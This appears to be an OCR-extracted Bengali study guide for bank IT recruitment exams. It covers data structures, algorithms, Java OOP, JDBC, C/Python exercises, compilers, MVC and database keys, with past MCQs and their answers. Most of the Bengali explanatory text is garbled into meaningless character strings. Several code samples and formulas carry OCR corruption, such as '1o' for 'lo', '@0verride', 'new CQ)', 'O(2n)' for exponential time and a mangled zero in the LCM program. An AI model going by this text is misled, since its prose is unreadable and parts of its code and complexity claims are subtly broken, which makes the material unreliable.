6 >3 5[]0100000]

753 6[ 06010000 ]
700010000 ]

(Directed, parent—child 43teT: 1-2,3; 2—4,5; 3—6,7; 4-7
21fer)

(TG edge = 7 - 1 = 6; matrix-aQ 1-Q3 724 = 2 x 6 = 12| QLA sparse graph I list (SIS O(V+E))
matrix (O(V?) = 49 99)-Q3 (50T T

IERE BFS (Breadth First) DFS (Depth First)

SRIT [IFOIF Queue Stack (3T recursion)

TR tree-cS (1 1234567 1245367

(ATH)

R unweighted graph-4 shortest path, cycle detection, topological sort, connected
level order components

Complexity Gons O(V + E) (adjacency list-q)

v.55 Shortest Path — Dijkstra

Dijkstra: source (It AfSTS vertex-9F ST FN 19 (& I, non-negative weight 3 F1e | &S
HITof FICHCT N FACQF unvisited vertex T o9 afSte® i relax F@&: if dlul + w(u,v) < d[v] then
dlv]l = d[u] + w(u,v) | Complexity: binary heap fatg O((V + E) log V)1 Negative weight 2151 Bellman-
Ford; all-pairs-a3 =5 Floyd-Warshall O(V3)I OSPF IrSf5 (&TCBIFa Dijkstra (SPF) II9=IK I |
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foa v.8: Weighted graph — A-B 4, A-C2,B-C1,B-D5,C-D 8, C-E 10, D-E2

Twirgel: A (ATF 9 vertex-ad shortest distance

g9 RIS (visited) A B C D E

b — 0 (%) 00 00 (o)

1 A 0 4 2 00 00

2 C(2) 0 3 (2+1) 2 10 (2+8) 12 (2+10)
3 B (3) 0 3 2 8 (3+5) 12

4 D (8) 0 3 2 8 10 (8+2)
5 E (10) §UIS: A=0, B=3, C=2, D=8, E=10 (path to E: A>C—B—D—E)

Minimum Spanning Tree: Kruskal (edge sort + union-find, O(E log E)) 8 Prim (vertex (¥t IIGIAT, heap
f4tg O(E log V)) — ©©3 greedy| V vertex-a9 MST-¢S edge =V — 11

©.52 Sorting — YFANAS Bfae
Algorithm Best Average  Worst Extra Space Stable? &I
Bubble Oo(n)* 0o(n?) o(n?) o(1) ot sr=ronfRr swap
Selection on?) o(n?) 0(n?) o(1) Bl STRTBTY (RIGTG 21y
Insertion o(n) 0o(n?) 0o(n?) o(1) it SIS WO STTGICHT
Merge O(nlogn) O(nlogn) O(nlogn) O(n) It Divide & Conquer
Quick O(nlogn) O(nlogn) O(n? O(log n) Bl Pivot + partition
Heap O(nlogn) O(nlogn) O(nlogn) O(1) Eij Max-heap
Counting / Radix  O(n + k) / O(d:(n + k)) O(n + k) ot QeFIRI9 (non-comparison)

* Bubble sort-@ “FIAT swap A" flag FTEA AT (ATF sorted array-cS QF pass-a3 AT — O(n)|
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IGIEICK:
What is the worst-case time complexity of Quick Sort? Explain how this worst-case behavior can occur

and how it can be avoided.

$8q: Quick sort-a3 worst case O(n?)| ifSw partition i pivot-(F aFTN AT (T (25 T AT
) (T, OIRte AT n-116 8 w3 0ft o AF | (T9; =St (AT sorted (I STebT sorted)
array-(s SIISTNY /29 GAMIFCE pivot fRTe, AT 77 SoAmia TN |

TN)=T(n-1)+0O(n)=>(n-1)+(n-2)+..+1=n(n-1)/2=0(n?

Recursion depth I n, T stack-8 O(n)I &f$F=A: randomized pivot, median-of-three pivot, three-
way partition (STIH SIMIAF T5), WART depth & 3a heap sort-a 36 (introsort) | Best/average
case-A partition &I NN 151 FCR: T(n) = 2T(n/2) + ©(n) = ©(n log n)I

// Bubble sort (C) — optimized
void bubble(int a[], int n) {
for (int i = 0; i < n - 1; i++) {
int swapped = 0;
for (int j = 0; j <n -1 - i; j++)
if (alj]l > a[j + 11) { int t = a[j]; alj] = alj + 1]; alj + 1] = t; swapped =

1;

if (!swapped) break; // 3fST sorted
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V.59 Searching — Linear I91¥9 Binary

fQsre A¥ SO IT 2026 (25104)

An array contains one million sorted integers. Which searching algorithm would you choose to find a
given element? Justify your answer.

T@a: Binary Search &z (7], F1F array sorted Q3R array-cS index T O(1)-a NIRRT TAWIT 2ire=
7| ST 9T search space S 7T

S5 Qe+t = [log,(10°)]1=[19.931=20 I Linear search: worst 1,000,000

=1=ffe binary search & ¢o,000 @ ¥ FeI+1 B | Complexity: Binary O(log n), Linear O(n)| *I%: (ot
sorted 8 random-access o 3 (linked list-a binary search FIEF7 73) | IF]F insert/delete (A
balanced BST 3T hash table f{tas71

int binarySearch(int al[], int n, int key) {

int 1o = 0, hi = n - 1;

while (lo <= hi) {
int mid = 1o + (hi - o) / 2; // (lo+hi)/2-4a3 overflow avits
if (a[mid] == key) return mid;
else if (a[mid] < key) 1o = mid + 1;
else hi = mid - 1;

}

return -1; // smemt IEf¥

v.58 Algorithm Design &i*Is1: Divide & Conquer, Greedy, DP

@ e LIl Surgget

Divide & Conquer ST ©Ist — SIAM! AL — (ST, Merge sort, Quick sort, Binary search
subproblem Fi&=

Greedy SfS 4Tt SL=FIF Ot (local optimum) JIRr3; Dijkstra, Prim, Kruskal, Huffman coding,
IR FI T Fractional knapsack, Activity selection

Dynamic Overlapping subproblem + optimal Fibonacci, 0/1 Knapsack, LCS, Floyd-

Programming substructure; TP JFFT FI AFJT AR Warshall, Matrix chain
Qoret

Backtracking SR TFIRT (581, SIS AL (BLs (Hel N-Queens, Sudoku
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DP: Top-down (Memoization) I9I5T Bottom-up (Tabulation)

Top-down: recursion Tt IT ST (ATF B, WIS 12717 91 TF cache-a I Bottom-up: JICET
(2B subproblem (TF 8F T table 27 FICS FACS IG ANANT TSI — recursion 3, stack
overflow-a3 JfF 31

# Top-down (memoization) # Bottom-up (tabulation)
memo = {0: 0, 1: 1} def fib(n):
def fib(n): a, b=0,1
if n not in memo: for _ in range(n):
memo[n] = fib(n-1) + fib(n-2) a, b=Db, a+bh
return memo[n] return a

SR recursive Fibonacci O(2n); DP @t O(n)1 “Which DP approach starts from the smallest
subproblems?” — Bottom-up Officer IT MCQ 2026 (BIBM)

Z

Todol

Greedy SIRSTY I8N (i 71: 0/1 Knapsack-4 greedy e e cs <1t (DP #1sY), f¥g Fractional
Knapsack-a greedy (value/weight Sg#iite) f3s | Coin change-a {1, 3, 4} w7 6 IATS greedy T
4+1+1 (ofB), A6 e 3+3 (:fD)1

©.5¢ MCQ Sr*itea=

1. Balanced parentheses TI612 FIATS (FIF data structure ATAIGA?
() Stack () Queue
(sY) Tree (9) Array
TGR: (F) — (AT IFAT push, I IFAITS pop I erer| (Officer IT MCQ 2026)

2. Recursion TN AYIF9S (FI9 data structure JFIToe 3I?
() Queue (¥ Stack
(s7) List (9) Array

Tad: (W) — afSB function call-a3 activation record call stack-@ G|

3. (31 data structure SfSfaT@ memory IAZNT T Food WAI*F (771?

() Array (¥) Hash table
(s7) Stack () Queue

Tad: (Y4) — I table @Y 51T O(1) search/insert|

4. 319 Dynamic Programming 91%,fS ST6TT (216 subproblem (AtF SF FCA?
() Greedy (4) Recursive
(s7) Top-down (&) Bottom-up
Ted: (9) — Tabulation It bottom-upl
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5. BST-99 (FI9 traversal SAMIASTANS sorted T (WH?

(=*) Preorder
(s) Inorder

(¥) Postorder

() Level order

&&d: (5T) — Left — Root — Right!

6. Singly linked list-a7 9Tt 96 $2IWIF insert FIIF time complexity F©?

(=) O(1)
(s1) O(n)

(¥) O(log n)
(®) O(n?)

T8 (F) — B8Y UG pointer IS TF; array-cS aft O(n)|

7. Infix A + B * C-9d postfix F7l FH16?

(F)AB+C*
(MH+A*BC

(AABC*+
(ABC+*

Taq: (U) — * =T, O3 B C * ¢ofd 77, OS99 +1

8. Sorted array-cS binary search-a9 time complexity $9?

(=) O(n)

(1) O(n log n)

(¥) O(log n)
(=) O(1)

e () — AfS 4ot search space S|

9. Quick sort-a9 worst-case time complexity ¥?

() O(n log n)

(1) O(n?)

(¥) O(n)
(%) O(log n)

@ (51) — pivot TSN FICEC (R6/IT (A ((TFA sorted input)!

10. fATt6a &9 sorting algorithm stable @32 worst case-a8 O(n log n)?

(=) Quick sort
(57) Merge sort

(¥) Heap sort

(=) Selection sort

T@q: (sT) — Heap sort-8 O(n log n) 357 stable 731

11. Queue &I AfSTe FIoT FI?

() LIFO
(57) FILO

(¥) FIFO
() Random

Tad: () — First In First Outl

12. Root-a7 height 0 43t height 3-a3 binary tree-cS JtH166 FAG node AFTS AlTA?

)7
(51) 15

(¥)8
(@16

Tz (o) — 2" -1 =24-1=15)
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13. BFS traversal-Q (19 data structure IjI9T° 3T?

() Stack (4) Queue
(s7) Heap () Hash table

Twaq: (¥) — DFS-@ stack

14. Dijkstra’s algorithm &= c¥ta AfdF T 713 fars «ia?
() Undirected graph (¥) Negative weight edge
(") Sparse graph (9) Cycle ¥=vts1

Ted: () — negative weight-a Bellman-Ford I19219 0o |

15. h(k) = k mod 7 @ linear probing fits FwIsIta 50, 700, 76, 85, 92 insert FACA 92 (FI9 index-Q
I1?

()1 (%) 2

QE (%) 4

Taq: (51) — 50—1, 7000, 76—6, 85—1 BA—2, 92— 1 TA—2 BAT— 3|
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I 8 — coAtSfg 8 SaTeg-SRETes coftgifsig

Programming & OOP (C, C++, Java, Python)

Assistant Programmer (AP) 8 BB AD (ICT) 19613 f@fds siest siasif] ceftas feidts =7 (57 BB AP
2023-@a LCM); Officer (IT) 3 Senior Officer (IT)-a =T OOP 14, Java program, output tracing 8 JDBCI
MCQ-cS OOP-a3 (iifei=s sik@at, MVC, compiler/interpreter &1 Rf*6® | FIoTe-FA (&6 4o 31 I

syntax Agat I PN FFA|

8.5 OOP-99 519 I

I8 b3 Java-cs FeiI

Encapsulation (GBI 8 SIF 8917 151 F method  private field +
a3TB unit (class)-a 4T @IRIBE@  public getter/setter
(ATF TN access WG
(data hiding)

Inheritance R class (parent) (AGF (A#187  extends,
8 HIBI 94 class (child)-@ implements
AT — “is-a" TN

Polymorphism &3 1%, Ig %1 — @33 interface  Overloading
7 object-a &7 WHR (compile time),
Overriding (runtime)

Abstraction ATIISTAIT I8y AT, abstract class,
I LTS Jrear interface

IfHL Svmge

balance private; 8Y
deposit() /withdraw() facg
fFsT

SavingsAccount extends
Account

calculateInterest() Savings
8 FDR-a fog

ATM IRRITFIAT 8 “Withdraw”
ele
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faste o= Officer IT 2024

Explain how encapsulation and inheritance are advantageous in Object Oriented Programming.

Encapsulation-a3 Jf3«t: () Data hiding 8 fRaterat — private field I3EI &FIG ITEATS AT 71; @9
balance -G (G I ANG[F FACO AR 9, withdraw() -9F (SOF validation BRI (R)
Maintainability — (S9XJ IBIMETT INAICES IREI (@IS (TR public method IRTF FE) WARIGS
AF| (9) Control — read-only/write-only property TSI T (8) Testing 8 debugging 3RS, F1IY
HARIST o B

Inheritance-a3 J[{4t: (5) Code reusability — ST1F< field/method @F1F parent-a f&td 17 child
JRRIF FE (R) Extensibility — S99 account type (151 FICS 8¢ QA subclass =571 (v) Method
overriding-a3 LT runtime polymorphism 383 T 1 (8) Hierarchical classification-4 I\I G51tod
T SffSwiae 23|

class Account {
private double balance; // encapsulated
public double getBalance() { return balance; }
public void deposit(double amt) {
if (amt <= 0) throw new IllegalArgumentException("Invalid amount");
balance += amt;

}

}

class SavingsAccount extends Account { // inheritance: deposit() < dR=R
private double rate = 0.045;
public double interest() { return getBalance() * rate; }

}

8.2 Overloading, Overriding 8 Method Hiding

IERE Overloading Overriding Method Hiding

I a3 class (I subclass)-@ Parent-child-@ Parent-child-@a

Signature Y @F, parameter list {3 1Y 8 parameter 272 1% 8 parameter 9
ap

static/instance  (ICHICT TG13 instance method  IBI3 static method

Binding Compile time (static) Runtime (dynamic Compile time — reference
dispatch) type

Return type CICHIAT (B return type &7 30 933 T covariant 933 T covariant

B A1) subtype
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faste o1 BB AP 2023

Determine overloading method, overridden method and hide super class method?

public class A {
public void m1() {}
public void m2() {}
public void m3(int i) {}
public void m4(String i) {}
}
public class B extends A {
public static void m1() {}
public void m2() {}
public void m3(int i) {}
public static void m4(String i) {}
}

(F¥9ITa extends a 3 string ET‘?ﬁf?Wf—Java case-sensitive, ©13 35 91 extends A 8 String 4R
Tag ST 30l )

Method A-S B-cs s
m2() instance instance, 433 Overridden v
signature
m3(int) instance instance, a3 Overridden v
signature
m1() instance static, 933 Compile error — “m1() in B cannot override m1() in A;
signature overriding method is static”
m4(String) instance static, 953 Compile error — a3 TIF
signature

AL Java-CS instance method-& subclass-a static TG FFIAT I 71, WKF static method-&
instance method T override-8 a1 I 71 (“overridden method is static” error)| Method hiding
TY=3 T T4F parent 8 child 7751c®3 method static — (TN A-(S public static void m1() e B-
9T static m1() B hide TS| A3 (FITG FICAT overloading (33, FIF (FITAT method-a3 AF3
1y foF parameter list (73; overloading 3tof I B-(S (IWF public void m3(double d) Jf m4(int i)
IO |

SIFSILEFA: Overridden = m2, m3; Hidden = (73 (m1 8 m4 compile error M), Overloaded = 3|

Twiga<: Hiding 391 Overriding-a3 Sioa¢

class P { static String s() { return "P-static"; } String i() { return "P-inst"; } }
class C extends P { static String s() { return "C-static"; } String i() { return "C-
inst"; } }

P ref = new CQ);

System.out.println(ref.s()); // P-static (hiding: reference type P mtd)
System.out.println(ref.i()); // C-inst (overriding: object type C mtd)
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8.9 Inheritance 8 Polymorphism — Java caigiw

faste o5 Officer IT 2026 (25105)

Explain the concepts of Inheritance and Polymorphism in Java. Write a Java program to demonstrate
method overriding.

Inheritance: @3B class (extends ftd) =97 class-@F field 8 method W& F¢F; Java-(S class-a7
G%ea single inheritance, interface Mt multiple inheritance | <14 single, multilevel, hierarchical
(multiple 8 hybrid 8¢ interface )|

Polymorphism: a3 method call {7 object-4 fo7 F1o1 531 () Compile-time — method
overloading; (¥) Runtime — method overriding, (T4 parent reference M child object &1 27 Q3R
JVM runtime-& 51T object-a3 method SIS (dynamic method dispatch)l

class Account {

protected String holder;

Account(String holder) { this.holder = holder; }

double interestRate() { return 0.0; }

void show() { System.out.println(holder + " : " + interestRate() + "%"); }
}
class SavingsAccount extends Account {

SavingsAccount(String h) { super(h); }

©0verride

double interestRate() { return 4.5; } // override
}
class FixedDeposit extends Account {

FixedDeposit(String h) { super(h); }

@0verride

double interestRate() { return 8.0; } // override
}
public class Main {

public static void main(String[] args) {

Account[] list = { new Account("Rahim"),
new SavingsAccount("Karim"),
new FixedDeposit("Salma") };
for (Account a : list) a.show(); // runtime polymorphism

Output:

Rahim : 0.0%
Karim : 4.5%
Salma : 8.0%

show() parent-& (74T ICAS interestRate() A object-aF fAT= overridden version BIETT|
@0verride annotation g« signature &3¢S compiler-(F AR FI|
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Overriding-a3 S

() access modifier AT IR 1 (public — protected IT); (R) final, static, private method
override TI FT; (v) checked exception IMGITAT T =T; (8) constructor inherit I override XTI AT

8.8 Abstract Class 9419 Interface

ISRk Abstract Class Interface

Method abstract 8 concrete 7613 abstract; Java 8+ (AT default 8 static, Java 9+
(AT private

Variable (T (instance field 9R) Y public static final (constant)

Constructor ATFCS ANK I [T

Inheritance  a3fB class T OFG extend FACS 2T AFIEF implement FAT T — multiple inheritance

Instantiate  (BICAIGIR FINAT new 71 T

FU4q IS SIS class-MF LK (1S SRS class-oid @B “§iE” (capability) fits, crs=
Ol FICO Comparable
Sy wFgsef keyword

* Constructor: class-a3 FIH, AT return type (33, object tofFg T FRLfFTOIE 5011 &F1F: default,
parameterized, copy (C++)I this() Q33 class-a3 &5 constructor, super() parent constructor St
(SIS IR |

¢ static: object Y, class-a3 WA; S] object A Ff I S| static method-a this IR I T
T QIR SIS instance member access FT T 7

* final: variable — constant; method — override fSt=%; class — inherit Nt (T String)I
* Access modifier (3T (AT (26): public > protected > default (package) > private |

8.¢ Exception Handling

try {

int r = 10 / 0; // ArithmeticException
} catch (ArithmeticException e) {

System.out.println("Error: " + e.getMessage());
} finally {

System.out.println ("SI &1 — connection/file JI§ FA™");

Checked Exception Unchecked Exception

|

Compile time-a #9i%w; handle 1 throws  RuntimeException-a3 subclass; compiler I3 F 1
TACO3 I

IOException, SQLException, NullPointerException, ArithmeticException,
ClassNotFoundException ArrayIndexOutOfBoundsException
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throw = Q3fG exception object (&I (method-Qd (8o); throws = method signature-a carge ¢ «ft
exception ¥Grs #1td1 Error ((I99 OutOfMemoryError, StackOverflowError) STgiRas handle 11 3 71
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8.y JDBC — Java CYTF MySQL AT

faste o5 Officer IT 2026 (25105)

What is JDBC? Explain the steps required to connect a Java application to a MySQL database.

JDBC (Java Database Connectivity) 2T Java-3 a6 standard API (java.sql package), T LN
Java application (IGHTTAT relational database-aF I driver-a3 WL AYSE AT SQL BIAITS 3 Fellmel
IGCS 9t | N1 interface: DriverManager, Connection, Statement/PreparedStatement, ResultSet |

9Ty %:
1. Driver ¢gist &41: MySQL Connector/) (mysqgl-connector-j.jar) classpath-a 3 Maven
dependency RReTE|
2. Driver load: Class.forName("com.mysql.cj.jdbc.Driver"); (JDBC 4.0+ @ (&, O fevdta g
)|

3. Connection ¢Sff: DriverManager.getConnection(url, user, password); URL I
jdbc:mysql://host:3306/dbname |

4. Statement ¢ofs: SQL injection QTITS PreparedStatement JI[RIA|

5. Query SI=ital: SELECT — executeQuery() (ResultSet (F59); INSERT/UPDATE/DELETE —
executeUpdate () (SIS row s124M)

6. ResultSet Af&FT: while (rs.next()) T row #rGt]
7. Resource IF F41: ResultSet, Statement, Connection close — try-with-resources ST farem|

import java.sql.*;

public class BankDb {
public static void main(String[] args) {
String url = "jdbc:mysql://localhost:3306/bankdb";
String sql = "SELECT acc_no, name, balance FROM accounts WHERE balance > ?";
try (Connection con = DriverManager.getConnection(url, "root", "secret");
PreparedStatement ps = con.prepareStatement(sql)) {
ps.setDouble(1, 50000);
try (ResultSet rs = ps.executeQuery()) {
while (rs.next()) {
System.out.println(rs.getString("acc_no") + " " +
rs.getString("name") + " " +
rs.getDouble("balance"));

}
} catch (SQLException e) {

e.printStackTrace();

hy

Transaction WS4 *CT; con.setAutoCommit(false); .. con.commit(); QIR /Y 30
con.rollback(); |
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8.4 Output Tracing — “I%Ig farT o

Tulae S: Pre/Post increment (C)

int a = 5, b;
b = a++ + 10; // b =5+ 10 = 15, O 999 a = 6
b = ++a * 2; // =t a =7, b =14

printf("%d %d", a, b);

Output: 7 141 a++ =Y NIF RIS, A IMCIH]; ++a = AT IO, AT II]IRIFI

%Mm: Undefined behaviour

printf("%d %d", i++, ++i); I i = i++ + ++i; — Q3 statement-Q OF3 variable aFIfEFIT
#3397 C-S undefined behaviour; compiler (8 T WMl | MCQ-(S QN W AP
“Undefined/Compiler dependent” g1

Turaad 2: Pointer (C)

int arr[] = {10, 20, 30, 40};

int *p = arr;

printf("%d ", *p++); // 10 =, S99 p > arr[1]
printf("%d ", *++p); // p > arr[2], 30 =
printf("%d\n", ++xp); // arr[2] = 31, 31 =t

Output: 10 30 311 *p++ = *(p++) (postfix ++ = precedence); ++*p = NI JIOIY, pointer 7|

Tursact o: Ternary operator  DUET AP 2020
int x = 5;
inty = (x <0) ? 10 : 15;
printf("%d", y);

*5 5 < 0 XA, ©1% Output: 151

TwIga<t 8: Loop 8 recursion

for (int 1 = 0; 1 < 10; 1 += 3) printf("%d ", 1); // 8369

void f(int n) {

if (n == 0) return;
printf("%d ", n);
f(n - 1);
printf("%d ", n);
}
f(3); // 321123

Recursion-a call-Q3 &1ts/F print ST 2 (3 2 1), 2RF print (EIK 21 (1 2 3) i |
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Twiegd ¢: Java static vs local variable

class Test {
static int x = 10;

public static void main(String[] args) {

int x = 5; // local x, static x-& (G ¥
X += Test.x++; // x =5+ 10 = 15; Test.x = 11
System.out.println(x + Test.x);
b
}
Output: 26 (15 + 11)1 Java-CS integer division: 7/2 = 3,7 % 2 = 1, 7/2.0 = 3.51String
concatenation: "A" + 1 + 2 = "A12",f%ﬁ§ 1+ 2 + "A" = "3A" |
4
8.y [Afds 21FwIa SoISIS catsis

faste o BB AP 2023

Given two integers, A and B as input. Write a program to compute LCM of A and B.
T 419: LCM(A, B) = |A x B| / GCD(A, B); GCD (9 (o Euclid: gcd(a, b) = gcd(b, a mod b), b=

0 2teT al Complexity O(log min(A, B))I
C

#include <stdio.h>
long long gcd(long long a, long long b)
{
while (b != 0) {
long long t = a % b;

a=bhb;
b = t;
}
return a;

}
int main() {
long long A, B;
scanf("%lld %Lld", &A, &B);
if (A==0 || B ==20) {
printf("6\n"); return 0; }
if (A < 0) A = -A;
if (B < 8) B = -B;
// ST WIS, Yt 89 — overflow I
long long lcm = (A / gcd(A, B)) * B;
printf("LCM = %Llld\n", lcm);
return 0;

Python

def gcd(a, b):
while b:
a, b=Db, a%b
return a

A, B = map(int, input().split())
if A == 0 or B ==

print(0)
else:

print(abs(A * B) // gcd(A, B))

Trace:A=12,B=18

gcd(12, 18) — gcd(18, 12) — gcd(12, 6) — gcd(6,
0)=6

LCM=12%x18/6=236

S A-Afbe cetsmm

Prime check (C) — 0(\/n) Factorial (C) — iterative 8 recursive
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int isPrime(int n) {
if (n < 2) return 0O;
for (int 1 = 2; i * i <= n; i++)
if (n % 1 == 0) return 0;
return 1;

Fibonacci — &% n f6 <% (C)

void fib(int n) {
long long a = 0, b = 1;
for (int 1 = 0; 1 < n; i++) {
printf("%lld ", a);
long long t = a + b;
a = b;
b = t;
}
} // n=7: 08112358

String reverse 8 palindrome (C)

#include <string.h>
void reverse(char s[]) {
int i = 0, j = strlen(s) - 1;
while (i < j) {
char t = s[i]; s[il = s[jl; s[j] =
§
i++; -3

}
int isPal(char s[]) {
int i = 0, j = strlen(s) - 1;
while (i < 3)
if (s[i++] !'= s[j--1) return O;
return 1;

Matrix multiplication (C)

long long fact(int n) {
long long f = 1;
for (int 1 = 2; 1 <= n; i++) f %= i;

return f;
}
long long factR(int n) {
return (n <= 1) 2 1 : n * factR(n -
1);
}

514l palindrome 8 SItHT (IS (C)

int reverseNum(int n) {

int r = 0;

while (n >0) { r=r 10 + n % 10; n
/= 10; }

return r;
}
int digitSum(int n) {

int s = 0;

while (n > 0) { s += n % 10; n /= 10;
}

return s;
}
// palindrome: reverseNum(n) == n (121 >
3jt)

aF3 FEr Python-a

s = input(Q)
print(s[::-11) # reverse
print(s == s[::-11) #
palindrome?

n = int(inputQ))
print(sum(int(d) for d in str(n))) #
digit sum

def is_prime(n):
return n > 1 and all(n % i for i in
range(2, int(n**0.5) + 1))

import math
print(math.factorial(5), math.gcd(12, 18),
math.lcm(12, 18)) # 120 6 36

Pattern — pyramid (C)
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// A: rlxcl, B: clxc2 - C: rlxc?2
for (int i = 0; 1 < rl; i++)
for (int j = 0; j < c2; j++) {
Clil[3] = o;
for (int k = 0; k < cl1; k++)
C[il[j] += A[il[k] * BIKI[31;

int n = 4;
for (int 1 = 1; 1 <= n; i++) {
for (int s = 1; s <= n - 1; s++)
printf(" ");
for (int k
printf("*");

1; k <= 2 % 1 - 1; k++)

} printf("\n");
// *$: A-a3 column = B-&a3 row; 0(n3) +
/* *
*%*%
Kk kkok
*kkkxkk K/

() ST 3-v A3 algorithm/logic &Y, (2) FITT input validation (o, ANYF) WA, (9) OFT (=G
input-a dry run/trace f4=; (8) *ITT time complexity feigm 1 ST Stg¥ 1 A=F C It Python — @fors
e G|

8.5 Compiler, Interpreter 8 Language Processor

SRR Compiler Interpreter

I STl program QI machine code-q SR 13 I3 WAV 3 execute
Output T executable/object file (AT BI executable 97

sifs Execution %o GNP [

Error ] error @FAGT compile -ty AT error-Q AN

Trrsger C, C++, Go Python, JavaScript (&%), Ruby

Java hybrid: javac source — bytecode (.class), SI991F VM interpret + JIT compile T — o138 “Write
Once, Run Anywhere”l Assembler: assembly — machine codel Linker: object file + library ¢&ier (M¥;
Loader: program-(& memory-(S (St |

Compiler-a3 4191: Lexical analysis (token) — Syntax analysis (parse tree) — Semantic analysis —
Intermediate code — Optimization — Code generationi Symbol table 3 41t TS 27|
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8.50 Ambiguous Grammar

faste S so 172026 (25104)

Consider the grammar: E — E+E | E* E | id. Show that the grammar is ambiguous for the string id + id
*id.

2@l @FB grammar ambiguous I &I OF string-9F T @FIfEF leftmost derivation (It
GFIEF parse tree) A

Leftmost derivation b (+ root-9):E=>E+E=id+E=>id+E*E=>id+id*E=id+id*id
Leftmost derivation 2 (*root-9):ES E*E=SE+E*E=Sid+E*E=>id+id*E=id+id *id

E E

id id id id

5@ 8.5: A — id + (id * id); B — (id + id) * id| 9353 string, F{G S parse tree
7S fS7 parse tree #1831 (511, ©13 grammar-f6 ambiguous| 21K id = 2, 3, 4 31 AT tree-(F 2 + 12 =
14, GBS 5 x 4 = 20 — W=fle W (semantics) WRME |
Unambiguous & (precedence 8 left-associativity 1R): E—->E+T | T, T->T*F|F F—(E)|id

8.5 MVC Architecture

Model (data/logic)

GET/POST
User / Browser Controller

\

5@ 8.2: MVC — Controller request &% 5w, Model (ATF (GBI (7, View-(S 2131

Model = G518 business logic (database access); View = &2t (HTML/UI); Controller = HTTP request
(GET/POST) &2 S Model 8 View-a3 W 937 | 4T separation of concerns, parallel development,
RG testing | Framework: Spring MVC, Laravel, Django (MVT), ASP.NET MVCI “In MVC, which component
handles HTTP requests like GET and POST?” — Controller oOfficer IT MCQ 2026 (BIBM)

View (UI)
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8.52 MCQ S gei=

1. OOP-aq sjefzst F1?
() Object Oriented Programming () Open Office Protocol
(s7) Object Operating Program (8) Output Oriented Process

T8 (F) (Officer IT MCQ 2026)

2. (Got 3 function-& 9T unit-a CIATITAITE Ft ITeT?

() Abstraction (4) Encapsulation
(57) Polymorphism () Modularity

TGq: (¥) — class-a3F W&y data + method el

3. MVC-¢S GET 8 POST-ad Wtel HTTP request (319 component handle ¥t3?

() Model (2) View
(st) Controller (1) Model 8 View $o33
g (51)

4. fAtea &[f6 programming language F3?
() Python (¥) Java
(s) HTML () C++
Taq: () — HTML @sf6 markup languagel

5. Source code translation 8 program modularization (FI9 SITHTIT WLA?
() Reverse engineering (¥) Forward engineering
(57) Re-engineering (9) Testing
&ed: (5T) — Software re-engineering-a3 &97: source code translation, reverse engineering, program structure
improvement, modularization, data re-engineering|
6. Object oriented programming Jeie Fitig @947 S Tta?

() Function (¥) Object 8 Class
(sf) Procedure () Pointer

T8 (¥) (Officer IT 2026 MCQ)

7. Java-GS runtime polymorphism fsia wiférs Ta?
() Method overloading (¥) Method overriding
(s) Constructor overloading (%) Operator overloading

Ted: (4) — dynamic method dispatchl

8. Java-cS @it class T class-(F inherit FATS (&9 keyword IATIT FCA?
(F) implements (4) inherits
(s) extends (9) super

T@q: (51) — interface-93 =y implements|
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9. fAtea &1iBa object AW ¢ofe (instantiate) Fat I A7

(=) final class (¥) abstract class
(sY) static nested class (99) public class
Taq: (¥)

10. Java-cs multiple inheritance FISIta WEH Fat TT?

() Abstract class (9) Interface
(s7) final class (%) Package

T8 (4) — 9T class @FIEF interface implement FITS A1t |

11. C-¢S int x = 5; printf("%d", x << 1); -499 outputﬁ?
(=) 5 (210
(s1) 2 (%) 25
&g (¢) — left shift 1 = 2 ficg &1

12.Java-cs final fRTIT OIS class ™ot &A1 Fo5?

() Instantiate I T I (¥) Extend (inherit) = I [T
(s") Method <FTS AT T (=) Constructor AI=PCS AT I

T8 () — T%F String class|

13. Python-a print(7 // 2, 7 % 2) -3 output FI?
()3.51 (W31
(130 ()41
ag: (4) — // floor division|

14. =TS 9Jat program Q3T machine code-Q TFIW FI?

() Interpreter (¥) Compiler
() Loader (20) Linker
Ta: (9)

15. Java source code compile FItA I tofF TA?

() Machine code (¥) Bytecode
(1) Assembly code (27) Object code (.obj)

Teq: (¥) — .class T3, JVM 51171
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LIS ¢ — COOITIT WITAGIT6 oW 8 SQL

Database Management System & SQL

7CFI Core Banking System SSteT OB R*Ne transactional database — ©I3 J71F WIZHI A ¢TSS (AP,
SO IT, Officer IT, AME, ADA, BB AD ICT) DBMS @t fRf*bw o =niest| fifde wieest siqeecw & =uest: SQL
query ¢4t (subquery, GROUP BY, JOIN), ACID (fund transfer &), constraint 3’8 CREATE TABLE 3
normalization| MCQ-¢S &5t HAVING, DROP/TRUNCATE, key, normal formi

¢.> DBMS I1¥ File System

S99 (File System) DBMS-a7 sTHigiv

Data redundancy 8 inconsistency — Q3 st St
I B3 foq

Gt (e BT — &AfS arvas o=y F94 program

Integrity rule &St 3 (balance > 0)

Atomicity (A3 — IR crash (& WEF e

Concurrent access-Q Qe (4G9 QFACH BIpT coTe)

Security — FI31-BCI Wa

Normalization 8 (G LTl

SQL faw ad-hoc query

Constraint (PRIMARY KEY, CHECK, FOREIGN
KEY)

Transaction, COMMIT/ROLLBACK, log-based
recovery

Locking, concurrency control

User/role-f5f$ GRANT/REVOKE

Three-schema architecture: External (user view) — Conceptual (logical) — Internal (physical)| Data
independence: Logical (conceptual schema IFAICEAS view S#1KJM$®) 8 Physical (storage InaAte1a
logical schema =#1f33f$9)|

¢.2 Key-93 Slatev

Twras — Account(acc_no, nid, email,

branch_id, balance)

Super key

Candidate
key

Primary key

Alternate
key

Foreign key

Composite
key

@ attribute(swR) fSB row-&F TSI GATT

Minimal super key (It @13* Im et S
unique S3)

%3 AT 93BG candidate key; NOT NULL +
UNIQUE, (3Rt assfog

Primary f31t3 71 Irgt candidate key

5 (BRIt primary key-& R0 @ —
referential integrity

9 attribute feet key

{acc_no}, {acc_no, email}, {nid, branch_id}...

{acc_no}, {email}

acc_no

email

branch_id — Branch(branch_id)

Enrollment(student_id, course_id)
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Surrogate Ffaw, 33T ID (AUTO_INCREMENT) txn_id
key
¢.v ER Diagram

ER model-a Entity (S1ocwa), Attribute ((SR157S; key attribute-a3 Ao wisY), Relationship (395)1
Cardinality: 1:1, 1:N, M:N1 Weak entity (43 #loid SrTocwa) e key =T owner-a3 @217 RS e (T
Account-ad Transaction)|

balance

Customer Account

5@ ¢.o: AWITHT ER diagram — Customer-Account (M:N, joint account), Account-Branch (N:1)

Relation-q *ifGa: M:N relationship-aF =y SemT (BfAeT AT — Holds(cust_id, acc_no) I
composite primary key Q3% {53 foreign key| N:1-93 ¢%ta “N” it (Bt foreign key: Account(acc_no,

balance, branch_id) |

¢.8 Relational Algebra — Giifeis SIolitata

